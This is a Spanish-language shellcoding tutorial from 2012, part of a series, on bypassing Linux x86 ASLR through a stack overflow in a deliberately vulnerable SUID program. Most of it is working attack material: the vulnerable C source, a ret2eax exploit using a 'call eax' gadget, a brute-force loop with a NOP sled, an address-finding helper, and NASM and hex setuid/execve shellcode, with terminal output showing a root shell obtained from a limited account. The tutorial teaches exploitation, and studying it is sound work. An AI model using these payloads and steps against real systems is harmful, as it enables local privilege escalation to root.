.: **ASM / Shellcoding Series** :.
IV
Bypassing local Linux x86 ASLR protection revisited

por vlan7

vlan7 [at] overflowedminds [point] net

www.overflowedminds.net

zen7.vlan7.org

21-Abr-2012

Índice

Bypasses are devices that allow some people to dash from point A to point B very fast while other people dash from point B to point A very fast. People living at point C, being a point directly in between, are often given to wonder what's so great about point A that so many people from point B are so keen to get there, and what's so great about point B that so many people from point A are so keen to get there. They often wish that people would just once and for all decide where the hell they wanted to be.

Douglas Adams, The Hitchhiker's Guide to the Galaxy

1. Objetivo

Nuestro objetivo es el mismo que en la parte II de las series. Explotar un programa vulnerable bajo las condiciones de un sistema Linux que disponga de un kernel reciente con la protección ASLR activada.

La diferencia de este documento con el anterior está en el enfoque. Éste pretende aportar alguna explicación nueva como la fuerza bruta, o algún infoleak distinto (ret2eax) y ser más concentrado si cabe que el anterior. Son complementarios.

2. El EIP es nuestro

2.1. Código fuente vulnerable y compilación

```
/* THIS PROGRAM IS A HACK */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void ret2eax (char* str) {
  char buf[256];
  strcpy(buf,str); /* Must be the last line to ensure eax is not changed after the
       overflow */
}

int main (int argc, char *argv []) {
  if (argc != 2) {
     printf ( " [-] Usage : %s < cadena >\n" , argv[0]);
     exit (7);
  }
  ret2eax(argv[1]);
  return 0;
}
```

Código 1 → vuln.c

Como nuestro objetivo es evadir sólo ASLR, deshabilitamos las protecciones NX y SSP. Evadir estas protecciones por separado es algo factible, pero cuando nos encontramos en un entorno hostil en el que se combinan varias de ellas, lo cierto es que las cosas se complican bastante.

Código 2 → no NX + no SSP

```
root@bt:~# gcc -o vuln vuln.c -z execstack -fno-stack-protector -g
```

2.2. ret2eax

```
Human greed destroys your sphere, And there's no room for you out here -
    You're on your own now.
Motorhead, The Watcher
```

La función de strcpy() es copiar cadenas, pero aunque podría hacerse perfectamente, ningún programador en C almacena el valor que devuelve strcpy() en una variable. Aún así a bajo nivel el valor devuelto por toda función se almacena en el registro EAX.

Queremos como siempre desviar el flujo previsto del programa vulnerable hacia nuestro shellcode. Para ello debemos sobreescribir el registro EIP para que la siguiente instrucción a ejecutar pase a ser nuestro shellcode. Lo logramos provocando un overflow.

Aprovecharse de un *infoleak* mediante un *ret2eax* es una técnica válida siempre que provoquemos el overflow en la última línea de la función. Es decir, si sobreescribimos EIP con la dirección de memoria de un salto hacia EAX conocido, habremos burlado ASLR porque EAX apunta al buffer.

Sólo por variar con respecto a la segunda entrega de las series, en lugar de utilizar *objdump* usaremos la utilidad *msfelfscan* perteneciente al *Framework Metasploit*.

Código 3 → JMP/CALL

```
vlan7@bt:/home/vlan7$ msfelfscan -j eax ./vuln
[./vuln]
0x080483df call eax
0x080484ab call eax
vlan7@bt:/home/vlan7$
```

uhm ¿Y ahora cuál de los dos saltos usamos? Podemos usar cualquiera de ellos, pertenecen al programa a explotar.

¿Y si no disponemos de la herramienta *msfelfscan*? No hay problema, recurriremos al viejo gdb desensamblando una función auxiliar que crea el compilador y que referencia a la sección *.CTORS* dentro del ejecutable ELF resultante. Buscaremos en el desensamblado una llamada que use el registro EAX.

Código 4 → @RET

```
root@bt:~# gdb -q ./vuln
Reading symbols from /root/vuln...done.
(gdb) disas __do_global_ctors_aux
Dump of assembler code for function __do_global_ctors_aux:
   0x08048490 <+0>:   push   %ebp
   0x08048491 <+1>:   mov    %esp,%ebp
   0x08048493 <+3>:   push   %ebx
   0x08048494 <+4>:   sub    $0x4,%esp
   0x08048497 <+7>:   mov    0x8049f0c,%eax
```

```
   0x0804849c <+12>:  cmp    $0xffffffff,%eax
   0x0804849f <+15>:  je     0x80484b4 <__do_global_ctors_aux+36>
   0x080484a1 <+17>:  mov    $0x8049f0c,%ebx
   0x080484a6 <+22>:  xchg   %ax,%ax
   0x080484a8 <+24>:  sub    $0x4,%ebx
   0x080484ab <+27>:  call   *%eax
   0x080484ad <+29>:  mov    (%ebx),%eax
   0x080484af <+31>:  cmp    $0xffffffff,%eax
   0x080484b2 <+34>:  jne    0x80484a8 <__do_global_ctors_aux+24>
   0x080484b4 <+36>:  add    $0x4,%esp
   0x080484b7 <+39>:  pop    %ebx
   0x080484b8 <+40>:  pop    %ebp
   0x080484b9 <+41>:  ret
   0x080484ba <+42>:  nop
   0x080484bb <+43>:  nop
End of assembler dump.
(gdb) q
```

Bien, esta es la línea que nos interesa:

Código 5 → infoleak

```
0x080484ab <+27>:  call   *%eax
```

Coincide con la dirección del segundo salto que vimos con la herramienta *msfelfscan*.

Bien, pasando 0x080484ab a *little-endian* obtenemos @RET apuntando al principio del buffer, donde inyectaremos nuestro shellcode setuid/execve. Y ya que hacemos un setuid(0), aprovechemos para ilustrar la elevación de privilegios más clásica: explotar un binario SUID.

Código 6 → SUID bit is evil

```
root@bt:~# chmod u+s vuln
root@bt:~# su - vlan7
vlan7@bt:/home/vlan7$ ls -la vuln
-rwsr-xr-x 1 root root 8440 2012-03-19 18:07 vuln
vlan7@bt:/home/vlan7$ whoami
vlan7
```

Código 7 → Que el EIP sea sobreescrito

```
vlan7@bt:/home/vlan7$ gdb -q ./vuln
(gdb)r $(perl -e 'print "A"x272')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/vlan7/vuln $(perl -e 'print "A"x272')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41414141
(gdb)
```

Necesitamos 272 bytes para sobreescribir el registro EIP con @RET. Siguiendo la tradición, de la misma forma que en la segunda entrega de las series, usaremos un *NOP-Sled* como relleno, aunque bien podrían ser A's, ya que no se ejecutan.

Payload = [Shellcode][relleno][@RET]

Mediante una simple aritmética nuestro payload tendrá esta estructura:

Payload = [28 bytes][240 bytes][@RET]

Código 8 → Elevación de privilegios

```
vlan7@bt:/home/vlan7$ whoami
vlan7
vlan7@bt:/home/vlan7$ ./vuln $(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51
    \x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80","\x90"x240,"\xab
    \x84\x04\x08"')
root@root:/home/vlan7# whoami
root
root@root:/home/vlan7# id
uid=0(root) gid=1001(vlan7) groups=1001(vlan7)
root@root:/home/vlan7#
```

Bingo.

Nótese el prompt. Si hubiéramos provocado el overflow desde una sesión de gdb obtendríamos una shell, pero no una shell de root, como sí hemos conseguido al explotar el binario SUID desde la shell de una cuenta limitada.

2.3. Por fuerza bruta

```
$ sudo sfdisk --help |grep -i force
-f  [or --force]:    do what I say, even if it is stupid
```

Fuerza bruta pues. El payload estará formado por:

Payload = [NOP-Sled] [@RET] [GRAN NOP-Sled] [Shellcode]

Código 9 → Fuerza bruta

```
root@bt:~# while true;do ./vuln `perl -e 'print "\x90"x268 . "\xac\x4e\xc0\xbf" . "\x90"
    x10000 . "\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
    \xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\
    xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ;'`;done
Segmentation fault
Segmentation fault
(...)
Segmentation fault
sh-3.2# whoami
root
```

En mis pruebas de fuerza bruta he tardado de 5 a 10 minutos.

Para aumentar la probabilidad de caer en nuestro shellcode, hemos puesto tras @RET un *NOP-Sled* bastante grande.

Y ajustaremos @RET debido a que ASLR no aleatoriza todos los bytes de una dirección de memoria.

Usaremos un programa clásico en Shellcoding. Un programa que muestra la dirección de memoria en la que se encuentra una determinada variable.

En nuestro caso meteremos nuestro shellcode en una variable de entorno y usaremos este programa para saber en qué dirección de memoria está cargado nuestro shellcode.

Código 10 → getenv.c

```
/* THIS PROGRAM IS A HACK */

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char *p;
  p = getenv(argv[1]);
  p += strlen(argv[0]) - strlen(argv[2]);

  printf("%s @ %p\n", argv[1], p);
  return 0;
}
```

Queremos afinar @RET. Procedamos.

Código 11 → getenv.c

```
vlan7@root:~$ export SC="'perl -e 'print "\x90"x268 . "\x77\x77\x77\xbf" . "\x90"x10000 . "
    \x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\
    x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\
    xff\x2f\x62\x69\x6e\x2f\x73\x68"'"
vlan7@root:~$ ./getenv SC vuln
SC @ 0xbfcf5eac
vlan7@root:~$ ./getenv SC vuln
SC @ 0xbfc21eac
vlan7@root:~$ ./getenv SC vuln
SC @ 0xbfbb5eac
vlan7@root:~$ ./getenv SC vuln
SC @ 0xbf983eac
vlan7@root:~$
```

El primer byte es invariable a pesar de la presencia de ASLR. El último tampoco cambia. Y hay un nibble del tercer byte que nunca cambia tampoco. Bien, ya podemos afinar una dirección de retorno. Y la candidata que vimos al comienzo de la sección fue 0xbfc04eac pasada posteriormente a notación *little-endian*.

3. Entorno

```
...y crecieron muertos en un mundo hostil
Paralitikos, Joder que a gusto se quedan los muertos
```

Verificamos que nos encontramos en un sistema con la protección ASLR activada.

Código 12 → Comprobación ASLR

```
root@bt:~# /sbin/sysctl -a 2>/dev/null |grep kernel.randomize_va_space
kernel.randomize_va_space = 2
```

También podemos consultar el valor de dicha variable inspeccionando /proc

Código 13 → Comprobación ASLR

```
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
```

Esta variable puede tomar valores 0, 1 y 2.

- 0 : ASLR desactivado.
- 1 : ASLR activado, aunque el *heap* no se ve afectado.
- 2 : Full ASLR.

Analicemos con más detalle lo que varía de nuestro programa de una ejecución a otra con la protección ASLR activa con valor 2, que es nuestro entorno. Necesitaremos tres terminales. Veamos el log.

Código 14 → sesión gdb en terminal 1

```
(gdb) b main
Breakpoint 1 at 0x80484fa: file vuln.c, line 16.
(gdb) r
Starting program: /root/vuln

Breakpoint 1, main (argc=1, argv=0xbfd46594) at vuln.c:16
16                  if (argc != 2) {
```

Código 15 → sesión gdb en terminal 2

```
(gdb) b main
Breakpoint 1 at 0x80484fa: file vuln.c, line 16.
(gdb) r
Starting program: /root/vuln

Breakpoint 1, main (argc=1, argv=0xbfcf9f04) at vuln.c:16
16                  if (argc != 2) {
```

Y en la terminal número tres, sin abortar la depuración con gdb, podemos observar lo variable y lo invariable de una ejecución a otra:

Código 16 → ASLR

```
root@bt:~# pgrep vuln
9701
9705

root@bt:~# cat /proc/9701/maps
08048000-08049000 r-xp 00000000 00:11 15877 /root/vuln
08049000-0804a000 r--p 00000000 00:11 15877 /root/vuln
0804a000-0804b000 rw-p 00001000 00:11 15877 /root/vuln
b7679000-b767a000 rw-p 00000000 00:00 0
b767a000-b77cd000 r-xp 00000000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b77cd000-b77ce000 ---p 00153000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b77ce000-b77d0000 r--p 00153000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b77d0000-b77d1000 rw-p 00155000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b77d1000-b77d4000 rw-p 00000000 00:00 0
b77e8000-b77ea000 rw-p 00000000 00:00 0
b77ea000-b7805000 r-xp 00000000 00:11 27    /lib/ld-2.11.1.so
b7805000-b7806000 r--p 0001a000 00:11 27    /lib/ld-2.11.1.so
b7806000-b7807000 rw-p 0001b000 00:11 27    /lib/ld-2.11.1.so
bfd27000-bfd48000 rw-p 00000000 00:00 0     [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0     [vdso]

root@bt:~# cat /proc/9705/maps
08048000-08049000 r-xp 00000000 00:11 15877 /root/vuln
08049000-0804a000 r--p 00000000 00:11 15877 /root/vuln
0804a000-0804b000 rw-p 00001000 00:11 15877 /root/vuln
b76c3000-b76c4000 rw-p 00000000 00:00 0
b76c4000-b7817000 r-xp 00000000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b7817000-b7818000 ---p 00153000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b7818000-b781a000 r--p 00153000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b781a000-b781b000 rw-p 00155000 00:11 39    /lib/tls/i686/cmov/libc-2.11.1.so
b781b000-b781e000 rw-p 00000000 00:00 0
b7832000-b7834000 rw-p 00000000 00:00 0
b7834000-b784f000 r-xp 00000000 00:11 27    /lib/ld-2.11.1.so
b784f000-b7850000 r--p 0001a000 00:11 27    /lib/ld-2.11.1.so
b7850000-b7851000 rw-p 0001b000 00:11 27    /lib/ld-2.11.1.so
bfcdb000-bfcfc000 rw-p 00000000 00:00 0     [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0     [vdso]
```

Por último obtenemos la versión del kernel y la release de Backtrack.

Código 17 → Some versions

```
vlan7@bt:/home/vlan7$ uname -a
Linux root 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
vlan7@bt:/home/vlan7$ cat /etc/issue
BackTrack 5 - Code Name Revolution 32 bit\n \l
```

4. Código fuente del shellcode en NASM

```
Como no sabian que era imposible, lo hicieron.
```

```
;THIS PROGRAM IS A HACK
;Coded by sch3m4 & vlan7

BITS 32
global _start
section .text

_start:
;setuid(0);
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h

;execve ("/bin/sh",*"/bin/sh",(char **)NULL);
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h
```

Código 18 → shellcode codificado en NASM

5. Referencias

+ Linux/x86 ASLR bypass exploiting ret2eax classical SUID privilege elevation [video]
vlan7
http://zen7.vlan7.org/file-cabinet/Shellcoding_y_Urban_Dogs.mp4?attredirects=0&d=1

+ Advanced Buffer Overflow Methods [or] Smack the Stack. Cracking the VA-Patch
Izik
http://events.ccc.de/congress/2005/fahrplan/events/491.en.html

+ Smallest GNU/Linux x86 setuid/execve shellcode without NULLs
VVAA
http://www.wadalbertia.org/foro/viewtopic.php?f=14&t=5139

+ Jugando con payloads en explotación de software
VVAA
http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6258

+ Abusing .CTORS and .DTORS For FUN and PROFIT
Izik
http://www.exploit-db.com/papers/13234/

+ Exploiting para niños. Protecciones implementadas por el S.O. La Historia
vlan7
https://sites.google.com/a/vlan7.org/wiki/file-cabinet/ROP.pdf?attredirects=0&d=1

6. Dedicatoria

A mi novia, a mi gato, a mi familia cercana, a mis amigos y también conocidos que logran hacer soportable el día a día.

También a todo aquel que sea legal, aunque no lo conozca.

Al resto, muerte lenta.

7. Si me quieres escribir ya sabes mi paradero

```
The most obvious protective measure against eavesdropping is to make up
    codes for conversation, and this has of course been done at one time or
    another by almost everyone who has spoken over the telephone
David Khan, The Code-Breakers
```

http://pgp.mit.edu:11371/pks/lookup?search=vlan7&op=index

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.10 (GNU/Linux)

mQENBEzLOTcBCAC/Sqcixo2hS0S1pTsCKNb0whOrdGpeAJtCoFY6egbzGrbkBXU7
PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe
YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv97OKWqh
o8/F98F5zvA1VIg3HOonGWqd6e084wSjgenLtnzrxokHV1e3CkuKdZ5udRI04SfC
o/pkt6QK3OJAQjJrj1ImYoNQ5RpcKuXiX+Q54lqCJd7kJpgDtgdBaU5lqqN5rCDJ
0/SJAM3OqrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v
d3d3LnZsYW43Lm9yZykgPGFkbWluQHZsYW43Lm9yZz6JATgEEwECACIFAkzLOTcC
GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEMObubRe0bUrF2UH/iqUo4C2
Q1OlQj84WO3xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k
4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8
2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2
aAWd/UZCrbFHFcH6CUrIi5lNmP9EVuIw1m3BtV4mwOF7D6T48CokBjVlZMyMYk3d
uERW4wjZWJ/63N95lnzqWuJAGNYzpoWqV4XbmFafomwGUmmm6b2OrU8eT/YJ177Z
RAxlpnFKe/FwYXq5AQOETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp
LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj
X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua
/OQ8wdRO7EIx5nElOf9XyRREOGvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I
Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC
LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY
AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0
dML+1wrQgpaIQTOd7b3m+eynfbrU9O67EoD6hRX14YJELPhutzqjZ1QCAEIFJM0L
lMorcS9syMrkpxjpaSgMYFaM8DXLpvpBL60G5CxTLKAUoctS50S7bNxPvGURfWZ2
89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB
6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6
YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w
=AFJ+
-----END PGP PUBLIC KEY BLOCK-----
```

Suerte,

vlan7, 21 de Abril de 2012.

```
You have reached the End of the Internet.
www.google.com/reader/next?go=noitems
```